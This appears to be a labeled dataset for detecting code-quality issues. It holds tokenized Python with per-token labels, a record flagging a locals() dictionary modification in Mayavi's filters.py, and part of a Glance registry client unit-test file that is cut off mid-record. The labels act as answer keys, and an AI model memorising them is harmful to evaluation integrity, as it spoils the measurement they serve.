"s_", "in_", "options_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "s_", "._", "startswith_", "(_", "'--'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "long_", "=_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "s_", "._", "startswith_", "(_", "'-'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "short_", "=_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "argc", "ount_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "argc", "ount_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "matched_", "=_", "re_", "._", "findall_", "(_", "'\\\\[", "default", ":", " ", "(.*)", "\\\\]", "'_", ",_", "description_", ",_", "flags_", "=_", "re_", "._", "I_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "matched_", "[_", "0_", "]_", "if_", "matched_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "class\\u_", "(_", "short_", ",_", "long_", ",_", "argc", "ount_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Option_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "match_", "(_", "self_", ",_", "left_", ",_", "collected", "_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collected", "_", "=_", "[_", "]_", "if_", "collected", "_", "is_", "None_", "else_", "collected", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "\\u_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "l_", "in_", "left_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "this", " ", "is", " ", "so", " ", "greedy", ",", " ", "how", " ", "to", " ", "handle", " ", "One", "Or", "Mor", "e", " ", "then", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "(_", "type_", "(_", "l_", ")_", "is_", "Option_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "self_", "._", "short_", ",_", "self_", "._", "long_", ")_", "==_", "(_", "l_", "._", "short_", ",_", "l_", "._", "long_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "left", "\\u_", "._", "append_", "(_", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "left_", "!=_", "left", "\\u_", ")_", ",_", "left", "\\u_", ",_", "collected", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Option_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "long_", "or_", "self_", "._", "short_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Option_", "(_", "Pattern_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Optio", "n", "(%", "r", ",", " ", "%", "r", ",", " ", "%", "r", ",", " ", "%", "r", ")'_", "%_", "(_", "self_", "._", "short_", ",_", "self_", "._", "long_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "argc", "ount_", ",_", "self_", "._", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Token", "Stream_", "(_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Token", "Stream_", "(_", "list_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "source_", ",_", "error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "+=_", "source_", "._", "split_", "(_", ")_", "if_", "type_", "(_", "source_", ")_", "is_", "str_", "else_", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "error_", "=_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Token", "Stream_", "(_", "list_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "move_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "pop_", "(_", "0_", ")_", "if_", "len_", "(_", "self_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Token", "Stream_", "(_", "list_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "current_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "[_", "0_", "]_", "if_", "len_", "(_", "self_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2,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 1, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Modification of dictionary returned by locals()
enthought/mayavi/mayavi/tools/filters.py
[ { "content": "def _make_functions(namespace):\n \"\"\"Make the functions for adding filters and add them to the\n namespace automatically.\n \"\"\"\n for fil in registry.filters:\n func_name = camel2enthought(fil.id)\n class_name = fil.id\n if func_name.endswith('_filter'):\n func_name = func_name[:-7]\n class_name = class_name[:-6]\n class_name = class_name + 'Factory'\n\n # Don't create any that are already defined.\n if class_name in namespace:\n continue\n\n # The class to wrap.\n klass = new_class(\n class_name, (_AutomaticFilterFactory,), {'__doc__': fil.help, }\n )\n klass._metadata = fil\n\n # The mlab helper function.\n func = make_function(klass)\n\n # Inject class/function into the namespace and __all__.\n namespace[class_name] = klass\n namespace[func_name] = func\n __all__.append(func_name)", "metadata": "root._make_functions", "header": "['module', '___EOS___']", "index": 200 } ]
[ { "span": "namespace[class_name] ", "start_line": 226, "start_column": 8, "end_line": 226, "end_column": 29 }, { "span": "namespace[func_name] ", "start_line": 227, "start_column": 8, "end_line": 227, "end_column": 28 } ]
[]
1
true
[ "[CLS]_", "Modifica", "tion_", "of_", "dictionary_", "returned_", "by_", "locals_", "(_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "make", "\\u", "functions_", "(_", "namespace_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Make", " ", "the", " ", "function", "s", " ", "for", " ", "addin", "g", " ", "filter", "s", " ", "and", " ", "add", " ", "them", " ", "to", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "namespace", " ", "automati", "call", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fil_", "in_", "registry_", "._", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "func", "\\u", "name_", "=_", "camel", "2e", "nth", "ou", "ght_", "(_", "fil_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "\\u", "name_", "=_", "fil_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "func", "\\u", "name_", "._", "endswith_", "(_", "'\\u", "filter", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "func", "\\u", "name_", "=_", "func", "\\u", "name_", "[_", ":_", "-_", "7_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class", "\\u", "name_", "=_", "class", "\\u", "name_", "[_", ":_", "-_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class", "\\u", "name_", "=_", "class", "\\u", "name_", "+_", "'", "Factor", "y", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Don", "'", "t", " ", "create", " ", "any", " ", "tha", "t", " ", "are", " ", "alr", "ead", "y", " ", "defin", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "class", "\\u", "name_", "in_", "namespace_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "class", " ", "to", " ", "wrap", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "klass_", "=_", "new", "\\u", "class_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "class", "\\u", "name_", ",_", "(_", "\\u", "Automat", "ic", "Filter", "Factory_", ",_", ")_", ",_", "{_", "'\\u", "\\u", "doc", "\\u\\u'_", ":_", "fil_", "._", "help_", ",_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "klass_", "._", "\\u", "metadata_", "=_", "fil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "mla", "b", " ", "help", "er", " ", "function", "._", "\\u\\u\\uNL\\u\\u\\u_", "func_", "=_", "make", "\\u", "function_", "(_", "klass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Inject", " ", "class", "/", "function", " ", "int", "o", " ", "the", " ", "namespace", " ", "and", " ", "\\u\\u", "all", "\\u\\u", "._", "\\u\\u\\uNL\\u\\u\\u_", "namespace_", "[_", "class", "\\u", "name_", "]_", "=_", "klass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "namespace_", "[_", "func", "\\u", "name_", "]_", "=_", "func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "._", "append_", "(_", "func", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport datetime\nimport json\nimport os\nimport StringIO\nimport tempfile\nimport unittest\n\nimport stubout\nimport webob\n\nfrom glance import client\nfrom glance.common import context\nfrom glance.common import exception\nfrom glance.common import utils\nfrom glance.registry.db import api as db_api\nfrom glance.registry.db import models as db_models\nfrom glance.registry import client as rclient\nfrom glance.registry import context as rcontext\nfrom glance.tests import stubs\nfrom glance.tests import utils as test_utils\nfrom glance.tests.unit import base\n\nCONF = {'sql_connection': 'sqlite://'}\n\n_gen_uuid = utils.generate_uuid\n\nUUID1 = _gen_uuid()\nUUID2 = _gen_uuid()\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestBadClients(unittest.TestCase):\n\n \"\"\"Test exceptions raised for bad clients\"\"\"\n\n\n\n\n\n", "metadata": "root.TestBadClients", "header": "['module', '___EOS___']", "index": 47 }, { "content": " def test_bad_address(self):\n \"\"\"Test ClientConnectionError raised\"\"\"\n c = client.Client(\"127.999.1.1\")\n self.assertRaises(exception.ClientConnectionError,\n c.get_image,\n 1)", "metadata": "root.TestBadClients.test_bad_address", "header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 51 }, { "content": " def test_ssl_no_key_file(self):\n \"\"\"\n Test that when doing SSL connection, a key file is\n required\n \"\"\"\n try:\n c = client.Client(\"0.0.0.0\", use_ssl=True)\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")", "metadata": "root.TestBadClients.test_ssl_no_key_file", "header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 58 }, { "content": " def test_ssl_non_existing_key_file(self):\n \"\"\"\n Test that when doing SSL connection, a key file is\n required to exist\n \"\"\"\n try:\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file='nonexistingfile')\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")", "metadata": "root.TestBadClients.test_ssl_non_existing_key_file", "header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 69 }, { "content": " def test_ssl_no_cert_file(self):\n \"\"\"\n Test that when doing SSL connection, a cert file is\n required\n \"\"\"\n try:\n with tempfile.NamedTemporaryFile() as key_file:\n key_file.write(\"bogus\")\n key_file.flush()\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file=key_file.name)\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")", "metadata": "root.TestBadClients.test_ssl_no_cert_file", "header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 81 }, { "content": " def test_ssl_non_existing_cert_file(self):\n \"\"\"\n Test that when doing SSL connection, a cert file is\n required to exist\n \"\"\"\n try:\n with tempfile.NamedTemporaryFile() as key_file:\n key_file.write(\"bogus\")\n key_file.flush()\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file=key_file.name,\n cert_file='nonexistingfile')\n except exception.ClientConnectionError:\n return\n self.fail(\"Did not raise ClientConnectionError\")", "metadata": "root.TestBadClients.test_ssl_non_existing_cert_file", "header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 96 }, { "content": " def test_ssl_optional_ca_file(self):\n \"\"\"\n Test that when doing SSL connection, a cert file and key file are\n required to exist, but a CA file is optional.\n \"\"\"\n try:\n with tempfile.NamedTemporaryFile() as key_file:\n key_file.write(\"bogus\")\n key_file.flush()\n with tempfile.NamedTemporaryFile() as cert_file:\n cert_file.write(\"bogus\")\n cert_file.flush()\n c = client.Client(\"0.0.0.0\", use_ssl=True,\n key_file=key_file.name,\n cert_file=cert_file.name)\n except exception.ClientConnectionError:\n self.fail(\"Raised ClientConnectionError when it should not\")", "metadata": "root.TestBadClients.test_ssl_optional_ca_file", "header": "['class', 'TestBadClients', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 112 }, { "content": "class TestRegistryClient(base.IsolatedUnitTest):\n\n \"\"\"\n Test proper actions made for both valid and invalid requests\n against a Registry service\n \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestRegistryClient", "header": "['module', '___EOS___']", "index": 131 }, { "content": " def setUp(self):\n \"\"\"Establish a clean test environment\"\"\"\n super(TestRegistryClient, self).setUp()\n db_api.configure_db(self.conf)\n self.context = rcontext.RequestContext(is_admin=True)\n self.FIXTURES = [\n {'id': UUID1,\n 'name': 'fake image #1',\n 'status': 'active',\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'is_public': False,\n 'created_at': datetime.datetime.utcnow(),\n 'updated_at': datetime.datetime.utcnow(),\n 'deleted_at': None,\n 'deleted': False,\n 'checksum': None,\n 'size': 13,\n 'location': \"swift://user:passwd@acct/container/obj.tar.0\",\n 'properties': {'type': 'kernel'}},\n {'id': UUID2,\n 'name': 'fake image #2',\n 'status': 'active',\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'is_public': True,\n 'created_at': datetime.datetime.utcnow(),\n 'updated_at': datetime.datetime.utcnow(),\n 'deleted_at': None,\n 'deleted': False,\n 'checksum': None,\n 'size': 19,\n 'location': \"file:///tmp/glance-tests/2\",\n 'properties': {}}]\n self.destroy_fixtures()\n self.create_fixtures()\n self.client = rclient.RegistryClient(\"0.0.0.0\")", "metadata": "root.TestRegistryClient.setUp", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 138 }, { "content": " def tearDown(self):\n \"\"\"Clear the test environment\"\"\"\n super(TestRegistryClient, self).tearDown()\n self.destroy_fixtures()", "metadata": "root.TestRegistryClient.tearDown", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 176 }, { "content": " def create_fixtures(self):\n for fixture in self.FIXTURES:\n db_api.image_create(self.context, fixture)", "metadata": "root.TestRegistryClient.create_fixtures", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 181 }, { "content": " def destroy_fixtures(self):\n # Easiest to just drop the models and re-create them...\n db_models.unregister_models(db_api._ENGINE)\n db_models.register_models(db_api._ENGINE)", "metadata": "root.TestRegistryClient.destroy_fixtures", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 185 }, { "content": " def test_get_image_index(self):\n \"\"\"Test correct set of public image returned\"\"\"\n fixture = {\n 'id': UUID2,\n 'name': 'fake image #2'\n }\n images = self.client.get_images()\n self.assertEquals(len(images), 1)\n\n for k, v in fixture.items():\n self.assertEquals(v, images[0][k])", "metadata": "root.TestRegistryClient.test_get_image_index", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 190 }, { "content": " def test_create_image_with_null_min_disk_min_ram(self):\n UUID3 = _gen_uuid()\n extra_fixture = {\n 'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'asdf',\n 'size': 19,\n 'checksum': None,\n 'min_disk': None,\n 'min_ram': None,\n }\n db_api.image_create(self.context, extra_fixture)\n image = self.client.get_image(UUID3)\n self.assertEqual(0, image[\"min_ram\"])\n self.assertEqual(0, image[\"min_disk\"])", "metadata": "root.TestRegistryClient.test_create_image_with_null_min_disk_min_ram", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 202 }, { "content": " def test_get_index_sort_name_asc(self):\n \"\"\"\n Tests that the /images registry API returns list of\n public images sorted alphabetically by name in\n ascending order.\n \"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'asdf',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'xyz',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='name', sort_dir='asc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID3)\n self.assertEquals(images[1]['id'], UUID2)\n self.assertEquals(images[2]['id'], UUID4)", "metadata": "root.TestRegistryClient.test_get_index_sort_name_asc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 221 }, { "content": " def test_get_index_sort_status_desc(self):\n \"\"\"\n Tests that the /images registry API returns list of\n public images sorted alphabetically by status in\n descending order.\n \"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'queued',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'asdf',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'xyz',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='status', sort_dir='desc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID3)\n self.assertEquals(images[1]['id'], UUID4)\n self.assertEquals(images[2]['id'], UUID2)", "metadata": "root.TestRegistryClient.test_get_index_sort_status_desc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 258 }, { "content": " def test_get_index_sort_disk_format_asc(self):\n \"\"\"\n Tests that the /images registry API returns list of\n public images sorted alphabetically by disk_format in\n ascending order.\n \"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'asdf',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vdi',\n 'container_format': 'ovf',\n 'name': 'xyz',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='disk_format',\n sort_dir='asc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID3)\n self.assertEquals(images[1]['id'], UUID4)\n self.assertEquals(images[2]['id'], UUID2)", "metadata": "root.TestRegistryClient.test_get_index_sort_disk_format_asc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 295 }, { "content": " def test_get_index_sort_container_format_desc(self):\n \"\"\"\n Tests that the /images registry API returns list of\n public images sorted alphabetically by container_format in\n descending order.\n \"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'asdf',\n 'size': 19,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'iso',\n 'container_format': 'bare',\n 'name': 'xyz',\n 'size': 20,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='container_format',\n sort_dir='desc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID2)\n self.assertEquals(images[1]['id'], UUID4)\n self.assertEquals(images[2]['id'], UUID3)", "metadata": "root.TestRegistryClient.test_get_index_sort_container_format_desc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 333 }, { "content": " def test_get_index_sort_size_asc(self):\n \"\"\"\n Tests that the /images registry API returns list of\n public images sorted by size in ascending order.\n \"\"\"\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'ami',\n 'container_format': 'ami',\n 'name': 'asdf',\n 'size': 100,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'iso',\n 'container_format': 'bare',\n 'name': 'xyz',\n 'size': 2,\n 'checksum': None}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='size', sort_dir='asc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID4)\n self.assertEquals(images[1]['id'], UUID2)\n self.assertEquals(images[2]['id'], UUID3)", "metadata": "root.TestRegistryClient.test_get_index_sort_size_asc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 371 }, { "content": " def test_get_index_sort_created_at_asc(self):\n \"\"\"\n Tests that the /images registry API returns list of\n public images sorted by created_at in ascending order.\n \"\"\"\n now = datetime.datetime.utcnow()\n time1 = now + datetime.timedelta(seconds=5)\n time2 = now\n\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None,\n 'created_at': time1}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 20,\n 'checksum': None,\n 'created_at': time2}\n\n db_api.image_create(self.context, extra_fixture)\n\n images = self.client.get_images(sort_key='created_at', sort_dir='asc')\n\n self.assertEquals(len(images), 3)\n self.assertEquals(images[0]['id'], UUID2)\n self.assertEquals(images[1]['id'], UUID4)\n self.assertEquals(images[2]['id'], UUID3)", "metadata": "root.TestRegistryClient.test_get_index_sort_created_at_asc", "header": "['class', 'TestRegistryClient', '(', 'base', '.', 'IsolatedUnitTest', ')', ':', '___EOS___']", "index": 407 }, { "content": " def test_get_index_sort_updated_at_desc(self):\n \"\"\"\n Tests that the /images registry API returns list of\n public images sorted by updated_at in descending order.\n \"\"\"\n now = datetime.datetime.utcnow()\n time1 = now + datetime.timedelta(seconds=5)\n time2 = now\n\n UUID3 = _gen_uuid()\n extra_fixture = {'id': UUID3,\n 'status': 'active',\n 'is_public': True,\n 'disk_format': 'vhd',\n 'container_format': 'ovf',\n 'name': 'new name! #123',\n 'size': 19,\n 'checksum': None,\n 'created_at': None,\n 'updated_at': time1}\n\n db_api.image_create(self.context, extra_fixture)\n\n UUID4 = _gen_uuid()\n extra_fixture = {'id': UUID4,\n 'status': 'active',\n 'is_public': 